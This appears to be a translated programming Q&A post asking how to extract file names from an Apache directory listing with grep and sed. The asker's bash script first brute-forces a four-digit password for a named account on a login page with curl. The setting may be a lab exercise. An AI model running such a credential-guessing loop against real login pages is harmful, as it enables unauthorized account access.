我想剪切所有文件名

时间:2018-10-19 20:11:00

标签: bash shell

我的代码:

#!/bin/bash
url="http://$1/login.php"
login=halliday_j
for i in {0000..9999}
do
        code=$(curl --silent  --data "login=$login&password=$i" -XPOST $url -o /dev/null -w '%{http_code}')

        if (( $code == 302 ))
        then
                code=$(curl --silent --data "login=$login.php&password=$i" -XPOST $url -w '%{http_code}')
                break
        else
                code=$(curl --silent --data "login=$login.php&password=$i" -XPOST $url -w '%{http_code}')
        fi
done

url2=$(curl --silent -o /dev/null --data "login=$login&password=$i" -XPOST $url -L -w '%{url_effective}')
code2=$(curl --silent "$url2")
echo $code2

回声写这个

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /files</title> </head> <body> <h1>Index of /files</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> <tr><th colspan="5"><hr></th></tr> <tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="3w99eho0oM">3w99eho0oM</a></td><td align="right">2018-10-08 14:41 </td><td align="right">204 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="4AaJLJYAEm">4AaJLJYAEm</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 51 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="4j7B7HBSTE5kPmYB2OWMwiTi42gYSNoVhf2vxRw1EJ">4j7B7HBSTE5kPmYB2OWMwiTi42gYSNoVhf2vxRw1EJ</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 25K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="6F41NGEMX0">6F41NGEMX0</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 10M</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="ADXCDtmlD8">ADXCDtmlD8</a></td><td align="right">2018-10-08 14:41 </td><td align="right">4.0M</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="PYtbuNDEyPz51k4uXgJabGZ5t9B78hAz61pdEtAbNM">PYtbuNDEyPz51k4uXgJabGZ5t9B78hAz61pdEtAbNM</a></td><td align="right">2018-10-08 14:41 </td><td align="right">739 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="QCnYVB9BdK">QCnYVB9BdK</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 42M</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="UZq81dNWvs">UZq81dNWvs</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 28K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="XwkXP5HKsU">XwkXP5HKsU</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 40K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="c5sP2RDW6v">c5sP2RDW6v</a></td><td align="right">2018-10-08 14:41 </td><td align="right">102 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="hMnoLYw94C">hMnoLYw94C</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 51 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="j258aOJqzX">j258aOJqzX</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 70K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="nQ2Bw8efvp">nQ2Bw8efvp</a></td><td align="right">2018-10-08 14:41 </td><td align="right">153 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="rGSjN9iz6WMFakV0OOtQDej0UE6ehw5fYaBuuCXWTe">rGSjN9iz6WMFakV0OOtQDej0UE6ehw5fYaBuuCXWTe</a></td><td align="right">2018-10-08 14:41 </td><td align="right">3.2K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="rgFziqldquPekGfT3Xpxy45E1oSNG9OSMOFgrJkfHD">rgFziqldquPekGfT3Xpxy45E1oSNG9OSMOFgrJkfHD</a></td><td align="right">2018-10-08 14:41 </td><td align="right">758 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="u0ivleL61i">u0ivleL61i</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 42M</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="xikKz1pQ2s">xikKz1pQ2s</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 20K</td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="yKeivf8XYX">yKeivf8XYX</a></td><td align="right">2018-10-08 14:41 </td><td align="right"> 42M</td><td>&nbsp;</td></tr> <tr><th colspan="5"><hr></th></tr> </table> <address>Apache/2.4.10 (Debian) Server at 163.5.245.214 Port 80</address> </body></html>

所以我尝试剪切,但是我的正则表达式没有剪切我想要的所有东西,所以我想尝试使用grep,但是我不知道该怎么做。 所以我要剪切的单词是href =“我要剪切的文件名”

我要回显所有文件名 就像:

name1
name2
name3
name4

1 个答案:

答案 0 :(得分:0)

echo $code2 | grep -o 'href="[^"]*"' | sed -e 's/href="//' -e 's/"//'

给我:

?C=N;O=D
?C=M;O=A
?C=S;O=A
?C=D;O=A
/
3w99eho0oM
4AaJLJYAEm
4j7B7HBSTE5kPmYB2OWMwiTi42gYSNoVhf2vxRw1EJ
6F41NGEMX0
ADXCDtmlD8
PYtbuNDEyPz51k4uXgJabGZ5t9B78hAz61pdEtAbNM
QCnYVB9BdK
UZq81dNWvs
XwkXP5HKsU
c5sP2RDW6v
hMnoLYw94C
j258aOJqzX
nQ2Bw8efvp
rGSjN9iz6WMFakV0OOtQDej0UE6ehw5fYaBuuCXWTe
rgFziqldquPekGfT3Xpxy45E1oSNG9OSMOFgrJkfHD
u0ivleL61i
xikKz1pQ2s
yKeivf8XYX